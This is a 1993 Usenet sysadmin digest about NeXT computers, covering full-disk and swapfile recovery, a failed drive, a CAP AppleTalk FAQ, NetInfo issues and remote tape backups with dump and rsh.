> > >I guess the question, is "Does this drive have to run in fixed block size >like some of the QIC drives" Also, has anyone else used a WangDAT drive >on a NS before. > -- Joe Freeman joe@FreemanSoft.com (919).783.7033 The opinions espressed here are my own and are not shared by my former employer.
Newsgroups: comp.sys.next.sysadmin From: M_Carling@BlueRose.com (M Carling) Subject: Re: Help!! File System FULL Message-ID: <1993May22.201040.1486@bluerose.com> Sender: m@bluerose.com Organization: Blue Rose Systems, Inc. References: <1993May22.162821.7977@cs.ucf.edu> Distribution: na Date: Sat, 22 May 1993 20:10:40 GMT In article <1993May22.162821.7977@cs.ucf.edu> ali@elm.uucp (Ali Sidani) writes: > I have a NeXTStation 8/200 with NS 3.0. I was running some programs > and it hanged. I tried to reboot then after the checking disk said > "File system clean", it gave the following error. > > /: File system full > IO error on pageout: error = 28 > vnode_pageout: failed! > > How can I correct this problem? I need to delete some files on the system, > but how can I get access to the harddisk? You need to boot in single user mode or, if that fails, from a floppy disk. To boot in single user mode, type "bsd -s" in the ROM monitor. M Carling President, Bay Area NeXT Group
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer,comp.sys.next.hardware From: cowboy@trans.csuohio.edu (Joe Rosenfeld) Subject: Re: Help!! File System FULL Message-ID: <1993May23.124343.21142@news.csuohio.edu> Followup-To: comp.sys.next.sysadmin,comp.sys.next.programmer,comp.sys.next.hardware Sender: news@news.csuohio.edu (USENET News System) Organization: Cleveland State University References: <KARTHY.93May22204008@dannug.dannug.dk> Date: Sun, 23 May 1993 12:43:43 GMT Karsten Thygesen (karthy@dannug.dk) wrote: : You has been offer to the usual problem. The swapfile has grown : beyond bounds and filled the harddisk to mush. There is only one thing : to do: boot from another device like CD, floppy or borrow another : harddisk, then remove the swapfile (/private/vm/swapfile) and reboot. Isn't it possible to just do the removal from the ROM monitor, without having to resort to booting from another drive? -- | Joe Rosenfeld cowboy@trans.csuohio.edu | CSU Law Library j.rosenfeld@csuohio.edu
From: alex@cs.umd.edu (Alex Blakemore) Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer,comp.sys.next.hardware Subject: Re: Help!! File System FULL Message-ID: <67871@mimsy.umd.edu> Date: 23 May 93 19:18:24 GMT References: <KARTHY.93May22204008@dannug.dannug.dk> <1993May23.124343.21142@news.csuohio.edu> Sender: news@mimsy.umd.edu Followup-To: comp.sys.next.sysadmin Organization: U of Maryland, Dept. of Computer Science, Coll. Pk., MD 20742 Karsten Thygesen (karthy@dannug.dk) wrote: : You has been offer to the usual problem. The swapfile has grown : beyond bounds and filled the harddisk to mush. There is only one thing : to do: boot from another device like CD, floppy or borrow another : harddisk, then remove the swapfile (/private/vm/swapfile) and reboot. cowboy@trans.csuohio.edu (Joe Rosenfeld) writes: > Isn't it possible to just do the removal from the ROM monitor, without > having to resort to booting from another drive? I dont think you can do this from the monitor, but you are right. There is no need to boot from another device. just boot in single user mode (bsd -s) and then remove the swapfile -- Alex Blakemore alex@cs.umd.edu NeXT mail accepted -------------------------------------------------------------- "Without an engaged and motivated human being at the keyboard, the computer is just another dumb box." William Raspberry
From: matthews@is-next.umd.edu (Mike Matthews) Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer,comp.sys.next.hardware Subject: Re: Help!! File System FULL Date: 23 May 1993 22:08:15 GMT Organization: Los Alamos National Laboratory, NM Message-ID: <1toskf$i1v@umd5.umd.edu> References: <1993May22.162821.7977@cs.ucf.edu> In article <1993May22.162821.7977@cs.ucf.edu> ali@elm.uucp (Ali Sidani) writes: >Hi, Yo >/: File system full >IO error on pageout: error = 28 >vnode_pageout: failed! >How can I correct this problem? I need to delete some files on the system, >but how can I get access to the harddisk? If your machine won't boot, you have to do the following: From the ROM monitor, bsd -sb That puts you into reallyreallyraw single-user mode. So raw, in fact, that your root partition is still mounted readonly (the -b in the boot command tells the NeXT not to source /etc/rc.boot, which mounts / readwrite and tries to write to / as a side effect). So, mount -o remount,rw / Now you're free to go in and blow away what you want gone. Don't get too carried away, though. :-> >Your assistance is greatly appreciated. >Please reply ASAP :-( Your Email address may need some fixing. ali@elm.uucp *might* work but I'm going the Followup route. >thanks >ali ------ Mike Matthews, matthews@ectds.com (NeXTmail accepted) ------ "We dedicated ourselves to a powerful idea -- organic law rather than naked power. There seems to be universal acceptance of that idea in the nation." -- Supreme Court Justice Potter Steart
From: matthews@is-next.umd.edu (Mike Matthews) Newsgroups: comp.sys.next.sysadmin Subject: Re: BIND 4.9 released Date: 23 May 1993 21:58:19 GMT Organization: Los Alamos National Laboratory, NM Message-ID: <1tos1r$huu@umd5.umd.edu> References: <JBRYANS.93May19110333@wren.csulb.edu> <1993May20.083503.18546@csus.edu> <JBRYANS.93May20111530@wren.csulb.edu> In article <JBRYANS.93May20111530@wren.csulb.edu> jbryans@csulb.edu (Jack Bryans) writes: >Nope, don't Wall & the warnings cut down to 45. BFD. It's been running >here on primary, secondary, & caching only name servers for a month w/only >nearly dramatic performance improvement to complain about. Is there perchance a "fix" for clients (NeXTs) so that they listen to the 'searchlist' directive in /etc/resolv.conf? [I'm not expecting a "yes" by the way, just thought I'd ask.] >Jack ------ Mike Matthews, matthews@ectds.com (NeXTmail accepted) ------ Diplomacy is the art of saying "nice doggy" until you can find a rock.
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer,comp.sys.next.hardware From: karthy@dannug.dk (Karsten Thygesen) Subject: Re: Help!! File System FULL In-Reply-To: cowboy@trans.csuohio.edu's message of Sun, 23 May 1993 12:43:43 GMT Message-ID: <KARTHY.93May23222710@dannug.dannug.dk> Followup-To: comp.sys.next.sysadmin,comp.sys.next.programmer,comp.sys.next.hardware Sender: news@dannug.dk (Usenet news owner) Organization: Dannug - Danish NeXT Users Group References: <KARTHY.93May22204008@dannug.dannug.dk> <1993May23.124343.21142@news.csuohio.edu> Date: Sun, 23 May 1993 21:27:10 GMT >>>>> On Sun, 23 May 1993 12:43:43 GMT, cowboy@trans.csuohio.edu (Joe Rosenfeld) said: Joe> Karsten Thygesen (karthy@dannug.dk) wrote: Joe> : You has been offer to the usual problem. The swapfile has grown Joe> : beyond bounds and filled the harddisk to mush. There is only one thing Joe> : to do: boot from another device like CD, floppy or borrow another Joe> : harddisk, then remove the swapfile (/private/vm/swapfile) and reboot. Joe> Isn't it possible to just do the removal from the ROM monitor, without Joe> having to resort to booting from another drive? How would you do that? The filesystem is not loaded at that time which means that you have to treat the disk as a raw SCSI disk. It is NeXTSTEP which shows the disk as a nice tree structure with files and directories, so unless you are realy smart and knows how to handfixes the i-nodes, then don't even try. Try to get a bootfloppy, CD or another harddisk to bring up an Unix and let that interpret the data as a filesystem. Good luck, Karsten.
Newsgroups: comp.sys.next.sysadmin From: karthy@dannug.dk (Karsten Thygesen) Subject: Re: Help!! File System FULL In-Reply-To: glenn@rightbrain.com's message of 23 May 93 04:01:04 GMT Message-ID: <KARTHY.93May23225635@dannug.dannug.dk> Sender: news@dannug.dk (Usenet news owner) Organization: Dannug - Danish NeXT Users Group References: <KARTHY.93May22204008@dannug.dannug.dk> <1220@rtbrain.rightbrain.com> Date: Sun, 23 May 1993 21:56:35 GMT >>>>> On 23 May 93 04:01:04 GMT, glenn@rightbrain.com (Glenn Reid) said: Glenn> Karsten Thygesen writes > You has been offer to the usual problem. The swapfile has grown > beyond bounds and filled the harddisk to mush. There is only one thing > to do: boot from another device like CD, floppy or borrow another > harddisk, then remove the swapfile (/private/vm/swapfile) and reboot. Glenn> I think this is bad advice, and also I don't think this was the problem Glenn> that the original poster has. I seems like it IS the problem - I tried the same thing twice in the last month. Glenn> First of all, the swap file is automatically reset to its default size Glenn> when you reboot. If the swap file were the problem, it would fix itself. Right - But the swapfile gets restored and long way into the boot process, and it newer gets that far, so the swapfile will NOT be restored to it's original size. If the swapfile is removed, it will be able to boot until it finds out that no swapfile is present - then it will create a new one - with the right size - and reboot again - this time with a right sized swapfile. Glenn> If another runaway process or something fills up the disk, you have a Glenn> different problem. I would boot single-user and look around on the disk Glenn> for something to delete. Right - except that you are not able to reboot as singleuser! Glenn> To boot single-user, read the Sysadmin manual carefully, then do this: Glenn> * When the machine starts to power up, after the Testing phase, Glenn> hit Command-Command-` (on the numeric key pad). Glenn> * Type "mon" to get to the monitor Glenn> * Type "bsd -s" to boot single-user Well, I thought that myself to until I actually had the problem. It is NOT!! possible to boot in single user mode as rc.boot calls mount -o remount / which writes in /etc/mtab and that is not possible since the disk is REALLY filled up (110%). This will result in a vnode I/O error and the bootprocess will hang. If you can boot from another device, you can mount the file system and remove the file that has grown beyond bounds - typical the swapfile. Another option that I might admit I have not tried yet, it to boot with the "-b" option which will avoid processing the rc.boot script. So, in the monitor type "bsd -b", but then you are really on your own, and I will advise you to get some professional help! When you get the machine up and running, then do your self a favor: set the hiwat option in /etc/swaptab to ensure it will not happen again. So again: good luck, I hope you get it up and running. Karsten.
From: nico@imani.cam.org (Nicolas Dore) Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer,comp.sys.next.hardware Subject: Re: Help!! File System FULL Message-ID: <1993May23.175311.6304@imani.cam.org> Date: 23 May 93 17:53:11 GMT References: <1993May23.124343.21142@news.csuohio.edu> Sender: nico@imani.cam.org In article <1993May23.124343.21142@news.csuohio.edu> cowboy@trans.csuohio.edu (Joe Rosenfeld) writes: > Karsten Thygesen (karthy@dannug.dk) wrote: > > : You has been offer to the usual problem. The swapfile has grown > : beyond bounds and filled the harddisk to mush. There is only one thing > : to do: boot from another device like CD, floppy or borrow another > : harddisk, then remove the swapfile (/private/vm/swapfile) and reboot. > > Isn't it possible to just do the removal from the ROM monitor, without > having to resort to booting from another drive? > Not the ROM monitor, but in single-user mode, I think. Type "bsd -s" at boot time in verbose mode. Ciao Nicolas > -- > > | Joe Rosenfeld cowboy@trans.csuohio.edu > | CSU Law Library j.rosenfeld@csuohio.edu
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware From: jtod_ltd@uhura.cc.rochester.edu (John "Jeep" Todd) Subject: HD crash... need good advice and pain killers. Message-ID: <1993May23.223830.11649@galileo.cc.rochester.edu> Summary: My HD crashed... what now. Keywords: crash, SCSI, Toshiba, crap Sender: news@galileo.cc.rochester.edu Organization: University of Rochester - Rochester, New York Date: Sun, 23 May 93 22:38:30 GMT While attempting my first backup (I'm a poor student, so I have to borrow a tape drive... no backup flames, please.) somehow my 1.2G Toshiba MK-538FB drive bit the dust. It now usually refuses to come ready and makes a really bad-sounding "clunk-clunk-clunk" instead of the pleasant little chirp it usually makes when it comes up to speed. Questions: Has anyone had similar experiences with Toshiba (or any) HDs? Is it more likely a head crash or chip burnout (solid state error)? Does anyone have any good reccomendations for data recovery firms? (I know, it'll cost me more than the price of a new drive, but I spent 6 months collecting 1 gig of data, and I lose my FTP and telnet access tomorrow morning. <Sniff>) Do tears damage the NeXT keyboard? Thanks. Please mail responses, since I will only be able to call in and check my mail. -- John Todd | University of Rochester, Rochester NY | NRA & Pro-Choice CPU 276686 | "Charracter is whata you arre ina the dark!" - E. Lizardo Rochester NY 14627| Jeeps Bought/Sold * Dictators Overthrown * Bombs Defused jtod@alora.cc.rochester.edu (NeXT mail) jtod_ltd@uhura.cc.rochester.edu
Newsgroups: comp.sys.next.sysadmin From: vlahos@cubism.portal.com (Harry Vlahos) Subject: Re: Setting Up ISDN (PhoneKit Gone in 3.1 ?) Message-ID: <1993May23.175635.547@cubism.portal.com> Sender: vlahos@cubism.portal.com (Harry Vlahos) Organization: -Independent NeXT Developer- References: <737663879724@raptor.mcs.anl.gov> Date: Sun, 23 May 1993 17:56:35 GMT In article <737663879724@raptor.mcs.anl.gov> olson@raptor.mcs.anl.gov (Bob Olson) writes: > I've heard pretty definitely that PhoneKit is gone in 3.1, to be sold/given to > a third party to develop. > Is that true for both NS-Intel and NS-Motorola ? I just finished an app that uses the PhoneKit. This sucks. Can any beta testers out there confirm this ? HV
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware From: tpg@rchland.vnet.ibm.com (Terry Gliedt) Subject: Re: HD crash... need good advice and pain killers. Sender: news@rchland.ibm.com Message-ID: <1993May24.125628.31246@rchland.ibm.com> Date: Mon, 24 May 1993 12:56:28 GMT Disclaimer: This posting represents the poster's views, not necessarily those of IBM References: <1993May23.223830.11649@galileo.cc.rochester.edu> Organization: IBM Rochester Keywords: crash, SCSI, Toshiba, crap In article <1993May23.223830.11649@galileo.cc.rochester.edu>, jtod_ltd@uhura.cc.rochester.edu (John "Jeep" Todd) writes: |> |> While attempting my first backup (I'm a poor student, so I have to borrow a |> tape drive... no backup flames, please.) somehow my 1.2G Toshiba MK-538FB |> drive bit the dust. It now usually refuses to come ready and makes a really |> bad-sounding "clunk-clunk-clunk" instead of the pleasant little chirp it |> usually makes when it comes up to speed. |> |> Questions: |> Has anyone had similar experiences with Toshiba (or any) HDs? |> Is it more likely a head crash or chip burnout (solid state error)? |> Does anyone have any good reccomendations for data recovery firms? If I understand you correctly, your drive died during or just before you tried the backup. If true, I think it very unlikely that your drive has physically died. It could be, but this seems pretty amazing. More likely, it seems to me, is that the data on the drive has been corrupted. It makes me wonder if your tape drive was properly addressed and/or if there were not SCSI errors occuring. For instance if both your tape and disk drives were responding to the SCSI bus, almost anything could be happening. I had something like this happen between two disk drives and ended up trashing ONE file on my boot drive (it was a NeXT-specific file and took me 3 days of file-by-file comparison with another NeXT to find it. Ugly ugly ugly). If, for instance the label area of your disk was trashed, the operating system would not be able to find important areas of the disk and the disk would cycle again and again with this click-click sound. Unfortunately I was never able to revive any disk that got in this condition (but then I had backups that worked). I suspect it is possible to resurrect your disk, but I can't give you any more help than some sympathy. Good luck
From: sears@tree.egr.uh.edu (Paul S. Sears) Newsgroups: comp.sys.next.sysadmin Subject: Re: Help!! File System FULL Date: 24 May 1993 14:11:38 GMT Organization: University of Houston Message-ID: <1tql2q$ijh@menudo.uh.edu> References: <1220@rtbrain.rightbrain.com> In article <1220@rtbrain.rightbrain.com> glenn@rightbrain.com (Glenn Reid) writes: #Karsten Thygesen writes # #> You has been offer to the usual problem. The swapfile has grown #> beyond bounds and filled the harddisk to mush. There is only one thing #> to do: boot from another device like CD, floppy or borrow another #> harddisk, then remove the swapfile (/private/vm/swapfile) and reboot. # #I think this is bad advice, and also I don't think this was the problem #that the original poster has. # #First of all, the swap file is automatically reset to its default size #when you reboot. If the swap file were the problem, it would fix itself. # This is not true. It usually is that the swapfile has grown to the point where the disk capacity is at 105% or more (remember that the fast file system usually keeps 10% [user tunable] of the disk free for performance reasons. A normal user cannot cause the system to use this extra 10%. Root, however, can and this is the case of the swapfile). When this happens, the system cannot reset the swapfile and continue with booting. You need to actually go in and remove the swapfile and then reboot the system so that I can rebuild it... #If another runaway process or something fills up the disk, you have a #different problem. I would boot single-user and look around on the disk #for something to delete. # When the disk is beyond 105% capacity you can't even boot into single-user. The machine will panic when it can't free any disk space... # Glenn Reid NeXTmail: glenn@rightbrain.com # RightBrain Software 415-326-2974 (NeXTfax 326-2977) # Palo Alto, California Electronic Frontier Foundation, member #054 -- Paul S. Sears * sears@uh.edu (NeXT Mail OK) The University of Houston * suggestions@tree.egr.uh.edu (NeXT Engineering Computing Center * comments, complaints, questions) NeXT System Administration * DoD#1967 '83 NightHawk 650SC >>> SSI Diving Certification #755020059 <<< "Programming is like sex: One mistake and you support it a lifetime."
From: sears@tree.egr.uh.edu (Paul S. Sears) Newsgroups: comp.sys.next.sysadmin Subject: Re: using networked Apple printers (Have you looked at CAP?) Date: 24 May 1993 14:18:49 GMT Organization: University of Houston Message-ID: <1tqlg9$j4s@menudo.uh.edu> References: <1993May21.232529.18945@midway.uchicago.edu> In article <1993May21.232529.18945@midway.uchicago.edu> cpl1@kimbark.uchicago.edu (Corey Liss) writes: # #OK, I've totally frustrated myself on this one, and I can't seem to find any #useful FAQ documentation on this in the sonata or orst archives, so I'm #tossing it out to the world at large to get ridiculed... :) # #Basically: The site we're running has a number of Apple LaserWriters (IIGs and #IINTXs) hooked into an EtherTalk network, being run from central servers/ #print spoolers via AppleTalk. We've also got a number of NeXTs running over #the same ethernet network. # #I'm trying to get the NeXTs to recognize the Apple LaserWriters. The problem #I'm running into is that NetInfo seems to either assume a printer directly #connected to a NeXT via a serial connection, or else connected to a server #which it can communicate with as a unix box (i.e. not a mac running some #variation on AppleTalk). I can't figure out how to get it to send jobs #over the ethernet to the macintosh print spoolers... I'm guessing that #it has something to do with the Comm value in /Local/printers/[printername] #in NetInfo, but I'm not sure what to change it *to*... # #Can anyone point me in the right direction on how to handle this?... # I would suggest that you take a look at CAP (Columbia Appletalk). It was designed to allow unix boxes to print to appletalk printers. However, for the NeXT there is an additional requirement of somekind of gateway box (Shiva FastPath, GatorBox,...). Here is the CAP faq: CAP FAQ ------- Last update: Mon Aug 3 02:10:07 EST 1992 > What is CAP ? The Columbia AppleTalk Package (CAP) implements the AppleTalk protocol stack on a variety of UNIX machines. The main applications provide an AppleShare 2.0 compatible server (aufs), a LaserWriter Spooler (lwsrv) and a program to print to LaserWriters (papif). The latter can be used to talk to EtherTalk LaserWriters, LocalTalk LaserWriters used on Dayna EtherPrint cards or on a LocalTalk/EtherTalk gateway. There are also a number of contributed packages bundled with CAP (see cap60/contrib). > What extra hardware is required for CAP ? On a SUN or ULTRIX machine, CAP can speak Phase 1 or Phase 2 EtherTalk packets using packet filters based on the Stanford ENET model. Where available, CAP can also use Kernel based AppleTalk or run the UNIX AppleTalk Bridge (UAB) to act as a gateway. On other UNIX boxes you need to have a gateway that can translate IPTalk packets. Suitable candidates are Shiva FastPath, Cayman GatorBox or Webster MultiPort Gateway. > What machines will CAP run on ? The CAP Configure script has specific support for the following Operating Systems: sunos - SUN SunOS ultrixnn - DEC Ultrix 1.2, 2.0, 4.N irix - Silicon Graphics IRIS/IRIX aix - IBM AIX System V hpux - HP HP-UX 8.0 uts - Amdahl UTS aux - Apple A/UX 2.0 encore - Encore MultiMax BSD pyr - Pyramid (BSD Universe) next - NeXT/MACH dynix - Sequent Balance newsos - Sony NEWS bsd - BSD 4.2, 4.3 > What is the current CAP version ? CAP is at version 6.0 with (currently) 142 patches to be applied, most of which add extra functionality to the original. To determine the current patch level of your sources, check the cap60/README file for a line of the form o CAP Distribution 6.0, Patch Level 125, July 1992 > Where can I get CAP ? CAP can be obtained by anonymous FTP from rutgers.EDU src/{cap60.tar.Z,cap60.patches/*} munnari.OZ.AU mac/{cap60.tar.Z,cap.patches/*} gatekeeper.DEC.COM pub/net/appletalk/cap/{cap60.tar.Z,cap.patches/*} ftp.kuis.kyoto-u.AC.JP net/cap/{cap60.tar.Z,cap60.patches/*.Z} src.doc.ic.AC.UK mac/multigate/{cap60.tar.Z,cap.patches/*} Please choose an appropriate site and an off-peak time for the transfer. The patches are available individually or as the files "patches.1-75.tar.Z", "patches.76-100.tar.Z" and "patches.101-125.tar.Z". Additionally, for new users, a partially patched source file is available as "cap60.pl100.tar.Z" (the file cap60.tar.Z is unpatched). > How do I apply the patches ? To make the process of patching easier, you should get the 'patch' utility written by Larry Wall, it is normally archived at sites that archive comp.sources.unix in volume7/patch2. If you can't find anywhere closer it is on munnari.OZ.AU. CAP Version 6.1 will be 6.0 with all the patches applied and updated cap60/contrib packages. It will appear when the number of patches stabilizes. For each of the patches, run 'patch -p < cap60.patch0NN' from the top level cap60 directory, for example, in csh foreach i (cap60.patches/cap60.patch*) patch -p < $i >>& /tmp/patches end and check the /tmp/patches file for patching errors (should be none). To remove the *.orig files that patch leaves behind (containing the original version of the file), run 'make spotless' from the top level directory (note that spotless also removes all makefiles so gen.makes needs to be run to regenerate them). > I picked up CAP 6.0 from rutgers.edu, but our Unix system administrator > refuses to install it because there are 74 patches (can't say I blame him)! Sigh. Using the patch program to apply patches requires a minimal amount of time and energy. Taking time to install the patch program will pay off for CAP and other program updates. % date Sat Mar 7 23:51:05 EST 1992 % touch /tmp/patches % foreach i (cap60.patches/cap60.patch*) ? patch -p < $i >>& /tmp/patches ? end % grep rej /tmp/patches % date Sat Mar 7 23:54:26 EST 1992 It took just 3:11 to apply 75 patches to the raw CAP tar source. The extra overhead is the time to FTP 3 files, cap60.tar.Z, patches.1-74.tar.Z and cap60.patch075 and uncompress them. The total time spent on this ... 8:02. > Is CAP Public Domain ? No, CAP is distributed with the following condition on its use: Copyright (c) 1986, 1987, 1988, The Trustees of Columbia University in the City of New York. Charlie C. Kim, User Services Group, Academic Information Services Division, Libraries and Center for Computing Activities and Bill Schilit, formerly of Computer Research Facilities, Computer Science Department. Permission is granted to any individual or institution to use, copy, or redistribute this software so long as it is not sold for profit, provided that this notice and the original copyright notices are retained. Columbia University makes no representations about the suitability of this software for any purpose. It is provided "as is" without express or implied warranty. Some portions of CAP have other copyrights and are suitably marked. > Is there a version of CAP available that supports Ethertalk Phase 2 ? Phase 2 support was added in CAP 6.0 patches 25, 28 & 35 for SUN NIT, ULTRIX 4.n and SUN enet driver respectively. > Can a workstation with 2 ethernet cards running Cap s/w act as a phaseII > to (phaseI or phaseII) "Gateway"? If so, what patch level of Cap do I need > to do this? The UNIX AppleTalk Bridge (UAB) is the EtherTalk gateway. It can handle multiple ethernet interfaces and gateway between them. This is its primary function but it can also be set up to provide CAP services. But ... > Does anyone have a patch that will support the phase 2 appletalk protocol > on UAB (CAP6.0). UAB is *currently* Phase 1 only. > Is there any standard way yet of implementing a execute only, copy > protected CAP AUFS server? The original method of achieving this was to removing read permission from the data fork of the Application (make it non-zero length if the file is empty). The current method involves using the Application Manager added in patch number 61. Either of these methods can be circumvented by users who are either knowledgeable or determined. > Recently I introduced a new color postscript printer, Tektronix Phaser III > 4698PXi, under one of the LocalTalks. It works fine from Macintosh's so I > tried to use it from papif but failed. CAP uses DDP checksums by default, the checksum code in the Phaser III PXi and the Apple Personal LaserWriter NTR incorrectly calculate the checksum value and the packet is dropped. The programs aufs, lwsrv, papif, atis, atlooklws and tlw now support the -k option to disable CAP checksums on a per-program basis. To disable CAP checksums completely, add the following lines to the m4.features file, rerun gen.makes and remake CAP. # + DONT_DOCHKSUM no DDP checksums (Tektronix Phaser III PXi & Apple LW NTR) define(`specialcflags',concat(specialcflags,` -DDONT_DOCHKSUM')) # No other code changes are necessary. > We've just upgraded our DECstations to version 4.2 of ULTRIX, and our CAP > distribution very neatly broke. You need to obtain the net_common.o and pfilt.o patches from DEC. Do not turn on the ifconfig copyall (stop-gap measure previously suggested on the net). Do not define ULT42PFBUG in m4.features. > When we run aarpd with a command like: > aarpd pf0 our_zone > the daemon doesn't start & we get the message 'failed to start ZIS listener'. This means that something has been allocated the UPD port 774 (768+6) by 'portmap'. You can check this with the command 'rpcinfo -p'. There are two solutions, break 'start-cap-servers' into two so that aarpd and atis is started before portmap. Alternatively, and preferably, install the NIC assigned port numbers into /etc/services. See the doc in the file cap60/doc/install.ms for more details. > I have installed the enet driver. But aarpd won't start successfully. > Instead the following error message is being printed. > unix!: # aarpd le0 EtherTalk > open: /dev/enetXX: No such file or directory The ENET drivers use devices of the form enet0, enet1 etc. Replace the string "le0" with "enet0". #-Corey Liss #cpl1@midway.uchicago.edu -- Paul S. Sears * sears@uh.edu (NeXT Mail OK) The University of Houston * suggestions@tree.egr.uh.edu (NeXT Engineering Computing Center * comments, complaints, questions) NeXT System Administration * DoD#1967 '83 NightHawk 650SC >>> SSI Diving Certification #755020059 <<< "Programming is like sex: One mistake and you support it a lifetime."
Newsgroups: comp.sys.next.sysadmin From: jcdavis1@eos.ncsu.edu (JOSEPH CARL DAVIS) Subject: Matrix packages in 'C' : SUMMARY Message-ID: <1993May24.125933.28486@ncsu.edu> Sender: news@ncsu.edu (USENET News System) Organization: NCSU Project Eos Date: Mon, 24 May 1993 12:59:33 GMT OK, it is time for a summary on the replies that I received to my search for Matrix routines in C. Essentially, most people told me to get linpack and f2c and convert the linpack routines to C and then just to use them. Magnus Nolberg also sent me a posting from sci.math.num-analysis which contains a long listing of matrix/math routines in C and C++. Most of these are available from netlib ( netlib@att.research.com ) or statlib ( statlib@temper.stat.cmu.edu ). Mark Frank suggested 'C Tools for Scientists and Engineers' by Baker. Others suggested 'Numerical Recipies in C'. I started to reply to each individual respondent, but then too many replied. Therefore, thanks to the following people: magnus@fisher.Stanford.EDU jja@jupiter.fnbc.com frank@dendrite.sps.mot.com esca!dahl@uunet.UU.NET blake015@bullnext.mc.duke.edu Once again, thanks. regards, jcd -- \ Joseph C. Davis jcdavis1@eos.ncsu.edu People are not basically \ \ (919) 515-7452 stupid, they just act \ \ that way... \ \\\\\|||||//////\\\\\\|||||/////\\\\\\|||||\\\\\//////||||||\\\\\/////||||///
From: curt@oasys.dt.navy.mil (Curt Welch) Newsgroups: comp.sys.next.sysadmin Subject: Re: autonfsmount dies / SLIP problem Message-ID: <36227@oasys.dt.navy.mil> Date: 24 May 93 15:08:09 GMT References: <36062@oasys.dt.navy.mil> Organization: Carderock Division, NSWC, Bethesda, MD I wrote: >Does anyone know why autonfsmount is dying? Why can't it get it's >address? What address is it trying to get? Is it trying to talk to >some other deamon that might not be running? No one on the net sent me any answers, but I found the solution to my problem with the help of another local NeXT programmer. The answer was quite simple. The host name and IP address of the system wasn't in netinfo. (i.e. /etc/hosts). I assumed that HostManager would add the name and address to netinfo but it doens't. You have to do it by hand. Curt
From: stuart@oasys.dt.navy.mil (Stuart Pearlman) Newsgroups: comp.sys.next.sysadmin Subject: Netinfo problems - error writing to root domain. Message-ID: <36240@oasys.dt.navy.mil> Date: 24 May 93 17:36:21 GMT Organization: Carderock Division, Naval Surface Warfare Center I'm having some problems with netinfo, and I wanted to ask a few questions. The problem is that PrintManager.app on my clients will not let me export printers to the root domain. It complains about "error writing to root domain." Does anyone know what can cause this? I suspect it's seeing the root domain as read-only, but I can't figure out why. One thing that may be related is the fact that all my clients seem to bind to the clone server instead of the master server. At least, I think they do. How can you tell which netinfo server is serving a client at any given time. I've been opening the root domain in NetInfoManager and looking at the window's title bar to see which host is listed: network@priscilla (the master) or network@tic (the clone). Does this accurately reflect which machine is serving the client? Is there some way to determine this from a shell as well (the clients are spread out over three buildings)? Do all processes on the client talk to the same server, or is the binding on a per-process basis? One final question: if a client binds to a clone server and then tries to update the root domain, what happens? Does the clone forward the update to the master? Does it tell the client to talk to the master? How does this work? Any suggestions about what to check on this would be appreciated. Thanks in advance. -stuart -- Stuart Pearlman stuart@oasys.dt.navy.mil Trandes Corporation +1 301 459 0200 On-Contract-To: David Taylor Research Center +1 301 227 1428
Newsgroups: comp.sys.next.sysadmin From: tacchi@ccu.umanitoba.ca (Mark G. Tacchi) Subject: Re: What is "Exception #3" during boot? Message-ID: <C7JL9G.Bpu@ccu.umanitoba.ca> Sender: news@ccu.umanitoba.ca Organization: University of Manitoba, Winnipeg, Canada References: <C7E7n7.FtD@unixhub.SLAC.Stanford.EDU> Date: Mon, 24 May 1993 17:44:03 GMT In <C7E7n7.FtD@unixhub.SLAC.Stanford.EDU> bobcook@slac.stanford.edu (Bob Cook) writes: >The following occurs on a Station running 3.0 with 20 MB memory and a 105 MB > >hard disk. Very soon after Power on, the "verbose" message window appears. Its only contents are: > Exception #3 (0xc) at 0x10002aa > NeXT> >What does this mean? I have never seen it before on this (or other similar) machines. If one issues the "b" command after the halt, the machine boots fine and seems to run fine. I have seen cases where this points to defective hardware. A probable cause would be a defective clock crystal. Give Bell Atlantic a call and ask them for more info, they can be reached at 1-800-499-NeXT. -Mark -- Mark G. Tacchi tacchi@next01.cc.umanitoba.ca NeXT Computer, Inc. mtacchi@NeXT.COM (NeXT Mail Welcome) "My opinions are my own, and do not necessarily reflect those of my employer."
Newsgroups: comp.sys.next.sysadmin From: S.A.McIntyre@durham.ac.uk (Scott A. McIntyre) Subject: lun instead of /dev/sd? Message-ID: <scott.738327241@shrug> Organization: University of Newcastle upon Tyne, UK, NE1 7RU Date: Tue, 25 May 1993 10:54:01 GMT I'm at my limit for SCSI devices short of one more add on...that is likely to be more hard drive space...Someone I was speaking to suggested that I might be able to address two drives by the same scsi id, but with different logical unit numbers.... Is this possible, how could it take place? Or am I just dreaming? Scott -- EMAIL: S.A.McIntyre@durham.ac.uk OR scott@shrug.dur.ac.uk (NeXTmail) SNAIL: Pyschment of Departology, University of Durham, Durham, DH1 3LE "Did you know that the computer invented itself?" - SNL
From: rcc@next1.math.pitt.edu (robert cyphers) Newsgroups: comp.sys.next.sysadmin Subject: Help with remote dump Keywords: dump rdump Message-ID: <12288@blue.cis.pitt.edu> Date: 25 May 93 13:01:56 GMT Sender: news+@pitt.edu Can anyone enlighten me on the proper incantation for backing up a NeXT (OS2.1) to a remote HP 35470A SCSI DAT drive? I have have tried the following two commands with no luck. The first gave me a broken pipe, and the second never returned in twelve hours (200MB partition). Extra credit: How would I restore the files from the remote tape drive? ---------------------------------------------------------------------- rcc% dump 0ucsf 20000 - /dev/rsd0b | rsh mthsn4 -l rcc -n dd of=/d ev/nrst1 obs=126b DUMP: Date of this level 0 dump: Mon May 24 17:10:30 1993 DUMP: Date of last level 0 dump: the epoch DUMP: Dumping /dev/rsd0b (/clients) to standard output DUMP: mapping (Pass I) [regular files] 0+0 records in 0+0 records out DUMP: mapping (Pass II) [directories] DUMP: estimated 85751 tape blocks on 0.42 tape(s). DUMP: dumping (Pass III) [directories] DUMP: Broken pipe DUMP: The ENTIRE dump is aborted. rcc% (dump 0ucsf 20000 - /dev/rsd0b) | rsh mthsn4 -l rcc -n dd of=/ dev/nrst1 obs=126b DUMP: Date of this level 0 dump: Mon May 24 17:16:43 1993 DUMP: Date of last level 0 dump: the epoch DUMP: Dumping /dev/rsd0b (/clients) to standard output DUMP: mapping (Pass I) [regular files] 0+0 records in 0+0 records out DUMP: mapping (Pass II) [directories] DUMP: estimated 85751 tape blocks on 0.42 tape(s). DUMP: dumping (Pass III) [directories] [NEVER RETURNS] 